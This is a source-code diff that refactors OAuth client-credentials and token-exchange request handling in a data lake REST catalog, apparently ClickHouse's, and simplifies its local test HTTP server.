diff --git a/src/Databases/DataLake/RestCatalog.cpp b/src/Databases/DataLake/RestCatalog.cpp index 32bb46d8e89b..4d87a0c58af2 100644 --- a/src/Databases/DataLake/RestCatalog.cpp +++ b/src/Databases/DataLake/RestCatalog.cpp @@ -1,7 +1,6 @@ #include #include #include -#include #include #include #include @@ -75,7 +74,6 @@ namespace DB::ErrorCodes extern const int FAULT_INJECTED; extern const int NOT_IMPLEMENTED; extern const int CATALOG_NAMESPACE_DISABLED; - extern const int CATALOG_USER_TOKEN_NOT_AVAILABLE; } namespace DB::Setting @@ -725,18 +723,27 @@ AccessToken RestCatalog::exchangeUserToken( const CatalogState & catalog_state, UInt64 generation, const DB::ForwardedAuthToken & auth_token, const AccessToken * prepared_actor_token) const { - TokenRequest request; - request.grant = TokenRequest::Grant::TokenExchange; - request.url = Poco::URI(token_forwarding.token_exchange_uri); - request.scope = auth_scope; - request.client_id = catalog_state.client_id; - request.client_secret = catalog_state.client_secret; - request.subject_token = auth_token.token; - request.subject_token_type = token_forwarding.subject_token_type; - request.requested_token_type = token_forwarding.requested_token_type; - + const Poco::URI url(token_forwarding.token_exchange_uri); + Poco::URI::QueryParameters params = { + {"grant_type", "urn:ietf:params:oauth:grant-type:token-exchange"}, + {"subject_token", auth_token.token}, + {"subject_token_type", token_forwarding.subject_token_type}, + }; + if (!token_forwarding.requested_token_type.empty()) + params.emplace_back("requested_token_type", token_forwarding.requested_token_type); + if (!auth_scope.empty()) + params.emplace_back("scope", auth_scope); if (token_forwarding.forward_actor_token) - request.actor_token = prepared_actor_token ? prepared_actor_token->token : getServicePrincipalToken(catalog_state, generation); + { + const auto actor_token = prepared_actor_token ? prepared_actor_token->token : getServicePrincipalToken(catalog_state, generation); + if (!actor_token.empty()) + { + params.emplace_back("actor_token", actor_token); + params.emplace_back("actor_token_type", "urn:ietf:params:oauth:token-type:access_token"); + } + } + params.emplace_back("client_id", catalog_state.client_id); + params.emplace_back("client_secret", catalog_state.client_secret); ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogTokenExchange); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogTokenExchangeMicroseconds); @@ -744,7 +751,7 @@ AccessToken RestCatalog::exchangeUserToken( AccessToken exchanged; try { - exchanged = requestToken(request); + exchanged = requestToken(url, params); } catch (...) { @@ -1038,38 +1045,11 @@ namespace } -AccessToken RestCatalog::requestToken(const TokenRequest & token_request) const +AccessToken RestCatalog::requestToken(Poco::URI url, const Poco::URI::QueryParameters & params, bool use_query_parameters) const { - Poco::URI url = token_request.url; String body; - /// Do not also send bearer authentication: strict OAuth servers reject multiple client-authentication methods. - Poco::URI::QueryParameters params; - if (token_request.grant == TokenRequest::Grant::ClientCredentials) - { - params.emplace_back("grant_type", "client_credentials"); - params.emplace_back("scope", token_request.scope); - } - else - { - params.emplace_back("grant_type", "urn:ietf:params:oauth:grant-type:token-exchange"); - params.emplace_back("subject_token", token_request.subject_token); - params.emplace_back("subject_token_type", token_request.subject_token_type); - if (!token_request.requested_token_type.empty()) - params.emplace_back("requested_token_type", token_request.requested_token_type); - if (!token_request.scope.empty()) - params.emplace_back("scope", token_request.scope); - if (!token_request.actor_token.empty()) - { - params.emplace_back("actor_token", token_request.actor_token); - params.emplace_back("actor_token_type", "urn:ietf:params:oauth:token-type:access_token"); - } - } - - params.emplace_back("client_id", token_request.client_id); - params.emplace_back("client_secret", token_request.client_secret); - - if (token_request.use_query_parameters) + if (use_query_parameters) url.setQueryParameters(params); else { @@ -1096,6 +1076,7 @@ AccessToken RestCatalog::requestToken(const TokenRequest & token_request) const request.setContentLength(body.size()); request.set("Accept", "application/json"); + /// Strict OAuth servers reject bearer authentication alongside client credentials in the form. session->sendRequest(request) << body; Poco::Net::HTTPResponse response; @@ -1147,17 +1128,17 @@ AccessToken RestCatalog::retrieveAccessToken(const std::string & client_id, cons { static constexpr auto oauth_tokens_endpoint = "oauth/tokens"; - TokenRequest request; - request.scope = auth_scope; - request.client_id = client_id; - request.client_secret = client_secret; - - request.url = oauth_server_uri.empty() ? Poco::URI(base_url / oauth_tokens_endpoint) : Poco::URI(oauth_server_uri); - request.use_query_parameters = oauth_server_uri.empty() && !oauth_server_use_request_body; + const Poco::URI::QueryParameters params = { + {"grant_type", "client_credentials"}, + {"scope", auth_scope}, + {"client_id", client_id}, + {"client_secret", client_secret}, + }; + const auto url = oauth_server_uri.empty() ? Poco::URI(base_url / oauth_tokens_endpoint) : Poco::URI(oauth_server_uri); ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogAuthTokenRetrieve); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogAuthTokenRefreshedMicroseconds); - return requestToken(request); + return requestToken(url, params, oauth_server_uri.empty() && !oauth_server_use_request_body); } String RestCatalog::getServicePrincipalToken(const CatalogState & catalog_state, UInt64 generation) const diff --git a/src/Databases/DataLake/RestCatalog.h b/src/Databases/DataLake/RestCatalog.h index e730e738bdbe..803c3d470472 100644 --- a/src/Databases/DataLake/RestCatalog.h +++ b/src/Databases/DataLake/RestCatalog.h @@ -62,26 +62,6 @@ struct TokenForwardingConfig bool exchangeEnabled() const { return forward_user_token && !token_exchange_uri.empty(); } }; -struct TokenRequest -{ - enum class Grant - { - ClientCredentials, - TokenExchange, - }; - - Grant grant = Grant::ClientCredentials; - Poco::URI url; - bool use_query_parameters = false; - String scope; - String client_id; - String client_secret; - String subject_token; - String subject_token_type; - String requested_token_type; - String actor_token; -}; - struct CredentialsCacheKey { UInt64 generation = 0; @@ -394,7 +374,7 @@ class RestCatalog : public ICatalog, public DB::WithContext MultiVersion::Version publishServiceToken(AccessToken minted, UInt64 generation) const; - AccessToken requestToken(const TokenRequest & request) const; + AccessToken requestToken(Poco::URI url, const Poco::URI::QueryParameters & params, bool use_query_parameters = false) const; AccessToken exchangeUserToken( const CatalogState & catalog_state, UInt64 generation, const DB::ForwardedAuthToken & auth_token, diff --git a/src/Databases/DataLake/tests/rest_catalog_test_server.h b/src/Databases/DataLake/tests/rest_catalog_test_server.h index 3179a861c7a6..8c5dd2516dbd 100644 --- a/src/Databases/DataLake/tests/rest_catalog_test_server.h +++ b/src/Databases/DataLake/tests/rest_catalog_test_server.h @@ -6,7 +6,6 @@ #include -#include #include #include #include @@ -15,7 +14,6 @@ #include #include #include -#include #include #include @@ -52,12 +50,12 @@ struct Response inline Response json(const std::string & body) { - return Response{.status = 200, .body = body, .content_type = "application/json"}; + return Response{.body = body}; } inline Response respondWithStatus(int status, const std::string & body = R"({"error":{"message":"denied"}})") { - return Response{.status = status, .body = body, .content_type = "application/json"}; + return Response{.status = status, .body = body}; } class ServerState @@ -104,7 +102,6 @@ class ServerState route = it->second; } - /// Report unexpected requests to the client. if (!route) return Response{ .status = 599, @@ -170,35 +167,31 @@ class TestServer public: TestServer() : state(std::make_shared()) - , server_socket(std::make_unique(Poco::Net::SocketAddress("127.0.0.1", 0))) - , handler_factory(new RequestHandlerFactory(state)) - , server_params(new Poco::Net::HTTPServerParams()) - , server(std::make_unique(handler_factory, *server_socket, server_params)) + , server_socket(Poco::Net::SocketAddress("127.0.0.1", 0)) + , server(new RequestHandlerFactory(state), server_socket, new Poco::Net::HTTPServerParams()) { /// Ephemeral ports can be reused; discard pooled sockets belonging to previous test servers. DB::HTTPConnectionPools::instance().dropCache(); state->setStaticRoute("/v1/config", R"({"defaults":{},"overrides":{}})"); - server->start(); + server.start(); } ~TestServer() { - server->stop(); + server.stop(); DB::HTTPConnectionPools::instance().dropCache(); } - std::string getUrl() const { return "http://" + server_socket->address().toString(); } + std::string getUrl() const { return "http://" + server_socket.address().toString(); } ServerState & operator*() const { return *state; } ServerState * operator->() const { return state.get(); } private: std::shared_ptr state; - std::unique_ptr server_socket; - Poco::SharedPtr handler_factory; - Poco::AutoPtr server_params; - std::unique_ptr server; + Poco::Net::ServerSocket server_socket; + Poco::Net::HTTPServer server; }; }